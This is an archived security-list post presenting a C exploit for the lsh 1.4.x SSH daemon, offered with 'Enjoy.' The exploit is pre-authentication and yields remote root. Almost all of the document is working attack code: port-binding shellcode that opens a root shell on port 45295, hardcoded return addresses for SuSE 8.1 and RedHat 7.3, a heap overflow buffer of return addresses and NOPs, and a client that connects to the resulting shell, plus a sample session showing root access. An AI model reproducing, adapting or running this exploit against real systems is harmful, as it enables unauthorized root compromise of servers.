TUCoPS :: Linux :: Apps N-Z :: bt1148.txt

Remote root vuln in lsh 1.4.x


--Boundary-00=_k4va/VfuVk4+DdH
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline


After reading about a theoretical remote hole in OpenSSH and many detractors 
smugly saying that they weren't vulnerable because they run LSH (a free 
alternative), I'd like to present a working remote root exploit against LSH 
version 1.4.x.

Enjoy.

--Boundary-00=_k4va/VfuVk4+DdH
Content-Type: text/x-csrc;
  charset="us-ascii";
  name="lsh_exploit.c"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="lsh_exploit.c"

/*
  Rough and ready exploit for lsh 1.4.x (other versions ?)
  by Haggis aka Carl Livitt - carl.learningshophull@co@uk

  Spawns bindshell on port 45295 of remote host.

  I suspect the overflow that this exploits is actually part
  of the liboop library that lsh uses... I haven't even looked.
  I just wanted to get this out the door to stop all the lsh
  lovers crooning about how they weren't getting 0wn3d like
  the openssh users might be.

  Yes, this 0day is real. Yes, it's pre-authentication.

  Handily, it also bypasses non-exec stack protection as the
  shellcode is on the heap.

  NOTE: This 0day public exploit _only_ works if it's the first
  thing to connect to the lshd daemon after it has been started.
  Any other time, it is just a DoS. Run it a few times against
  a host running lshd to see what I mean.

  Greets to B-r00t, kraft, marshal-l, ruxor, force5 and everyone
  else on #cheese at doris.scriptkiddie.net.

  ----

  haggis@sol:~/exploits/research/lsh/lsh-1.4.2/src> netcat localhost 22
  SSH-2.0-lshd_1.4.1 lsh - a free ssh
  
  haggis@sol:~/exploits/research/lsh/lsh-1.4.2/src> ./lsh_exploit -t localhost
  LSH 1.4.x (others?) exploit by Haggis (haggis@haggis.kicks-ass.net)

  [-] Building exploit buffer...
  [-] Sending exploit string...
  [-] Sleeping...
  [-] Connecting to bindshell...
  [-] Success!!! You should now be r00t on localhost
  id
  uid=0(root) gid=0(root) groups=0(root)

  ----
*/

#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <netdb.h>
#include <time.h>
#include <stdarg.h>

#define SSH_PORT 22
#define SIZ 8096
#define EXPLOIT_BUF_SIZE 1536		// just approximate - works well enough
#define NOPS_LEN 1600

// So I ripped this from one of my previous exploits for speed...
//
// The following shellcode had 0x3f (?) chars in it which
// cause termination of our HTTP GET before the whole
// shellcode is written to the stack. The 0x3f's are
// needed because they are the dup2() syscall numbers. So,
// I've changed them to 0x3e's and INC'd them before doing
// an INT 0x80. Other than that, this shellcode is eSDee's.
// --------
// linux x86 shellcode by eSDee of Netric (www.netric.org)
// 200 byte - forking portbind shellcode - port=0xb0ef(45295)
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
"\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
"\x89\xc1\x31\xc0\x31\xdb\x50\x50"
"\x50\x66\x68\xb0\xef\xb3\x02\x66"
"\x53\x89\xe2\xb3\x10\x53\xb3\x02"
"\x52\x51\x89\xca\x89\xe1\xb0\x66"
"\xcd\x80\x31\xdb\x39\xc3\x74\x05"
"\x31\xc0\x40\xcd\x80\x31\xc0\x50"
"\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
"\x80\x89\xd7\x31\xc0\x31\xdb\x31"
"\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
"\x80\x31\xc0\x31\xdb\x50\x50\x57"
"\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
"\x89\xc6\x31\xc0\x31\xdb\xb0\x02"
"\xcd\x80\x39\xc3\x75\x40\x31\xc0"
"\x89\xfb\xb0\x06\xcd\x80\x31\xc0"
"\x31\xc9\x89\xf3\xb0\x3e\xfe\xc0\xcd\x80"
"\x31\xc0\x41\xb0\x3e\xfe\xc0\xcd\x80\x31"
"\xc0\x41\xb0\x3e\xfe\xc0\xcd\x80\x31\xc0"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x8b\x54\x24"
"\x08\x50\x53\x89\xe1\xb0\x0b\xcd"
"\x80\x31\xc0\x40\xcd\x80\x31\xc0"
"\x89\xf3\xb0\x06\xcd\x80\xeb\x99";

struct
{
	char *platform;
	unsigned long retAddr;
}


targets[]=
{
	{ "SuSE 8.1 - LSH v1.4.x (default)", 0x0809f030},
	{ "RedHat 7.3 - LSH v1.4.x", 0x0809d620},
	NULL
};

void my_send(int, char *, ...);
void my_recv(int);
int connect_to_host(int);
void my_sleep(int n);
int do_bind_shell();

struct hostent *hostStruct;
char buf[SIZ], host[SIZ]="\0";
int useTarget=0;

// yeah yeah, i could enumerate the targets from the
// struct above. Whatever.
char usage[]=
"Usage: ./lsh_exploit -t <host> [-T host_type]\n\n"
"Available types are:\n"
"     0. SuSE 8.1 / LSH 1.4.x (default)\n"
"     1. RedHat 7.3 / LSH 1.4.x\n\n";

main(int argc, char **argv)
{
	int ch, i, targetSock;
	unsigned long *retPtr;
	char *charRetPtr;

	printf("LSH 1.4.x (others?) exploit by Haggis (haggis@haggis.kicks-ass.net)\n\n");
	while((ch=getopt(argc, argv, "t:T:h"))!=-1) {
		switch(ch) {
			case 't':
				strncpy(host, optarg, SIZ-1);
				break;
			case 'T':
				useTarget=atoi(optarg);
				break;
			case 'h':
			default:
				printf("%s\n",usage);
				printf("Available platforms:\n");
				for(i=0;targets[i].platform;i++)
					printf("%2d. %s\n", i, targets[i].platform);
				printf("\n");
				exit(0);
				break;
		}
	}

	if(host[0]=='\0') {
		printf("[*] You must specify a host!\n");
		exit(1);
	}
	if((hostStruct=gethostbyname(host))==NULL) {
		printf("[*] Couldn't resolve host %s\nUse '%s -h' for help\n", host,argv[0]);
		exit(1);
	}

	if((targetSock=connect_to_host(SSH_PORT))==-1) {
		printf("[*] Couln't connect to host %s\n", host);
		exit(1);
	}

// check port 45295 just incase we've already successfuly exploited this host
	if(do_bind_shell()==1) {
		exit(0);
	}
	printf("[-] Building exploit buffer...\n");
	my_recv(targetSock);
	retPtr=(unsigned long *)buf;
	for(i=0;i<EXPLOIT_BUF_SIZE/4;i++)
		*(retPtr++)=targets[useTarget].retAddr;
	for(i=0;i<NOPS_LEN/4;i++)
		*(retPtr++)=(unsigned long)0x90909090;
	charRetPtr=(unsigned char *)retPtr;
	memcpy(charRetPtr, shellcode, strlen(shellcode));
	*(charRetPtr+strlen(shellcode))='\n';
	*(charRetPtr+strlen(shellcode)+1)='\0';
	printf("[-] Sending exploit string...\n");
	my_send(targetSock, buf);
	close(targetSock);
	printf("[-] Sleeping...\n");
	my_sleep(100000);
	printf("[-] Connecting to bindshell...\n");
	if(do_bind_shell()==-1)
		printf("[*] Could not connect to %s - the exploit failed\n", host);
	exit(0);
}


int do_bind_shell()
{
	fd_set rfds;
	int sock,retVal,r;

	if((sock=connect_to_host(45295))==-1)
		return -1;

	printf("[-] Success!!! You should now be r00t on %s\n", host);
	do {
		FD_ZERO(&rfds);
		FD_SET(0, &rfds);
		FD_SET(sock, &rfds);
		retVal=select(sock+1, &rfds, NULL, NULL, NULL);
		if(retVal) {
			if(FD_ISSET(sock, &rfds)) {
												  // bad!
				buf[(r=recv(sock, buf, SIZ-1,0))]='\0';
				printf("%s", buf);
			}
			if(FD_ISSET(0, &rfds)) {
				buf[(r=read(0, buf, SIZ-1))]='\0';// bad!
				send(sock, buf, strlen(buf), 0);
			}

		}
	} while(retVal && r);						  // loop until connection terminates

	close(sock);
	return 1;
}


// Given a port number, connects to an already resolved hostname...
// connects a TCP stream and returns a socket number (or returns error)
int connect_to_host(int p)
{
	int sock;
	struct sockaddr_in saddr;

	if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
		return -1;
	memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
	saddr.sin_family=AF_INET;
	saddr.sin_addr.s_addr=*((unsigned long *)hostStruct->h_addr_list[0]);
	saddr.sin_port=htons(p);
	if(connect(sock, (struct sockaddr *)&saddr, sizeof(saddr))<0) {
		close(sock);
		return -1;
	} else
	return sock;
}


// Handy little function to send formattable data down a socket.
void my_send(int s, char *b, ...)
{
	va_list ap;
	char *buf;

	va_start(ap,b);
	vasprintf(&buf,b,ap);
	send(s,buf,strlen(buf),0);
	va_end(ap);
	free(buf);
}


// Another handy function to read data from a socket.
void my_recv(int s)
{
	int len;
	char buf[SIZ];

	len=recv(s, buf, SIZ-1, 0);
	buf[len]=0;
}


// Wrapper for nanosleep()... just pass 'n' nanoseconds to it.
void my_sleep(int n)
{
	struct timespec t;
	t.tv_sec=0;
	t.tv_nsec=n;
	nanosleep(&t,&t);
}

--Boundary-00=_k4va/VfuVk4+DdH--

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH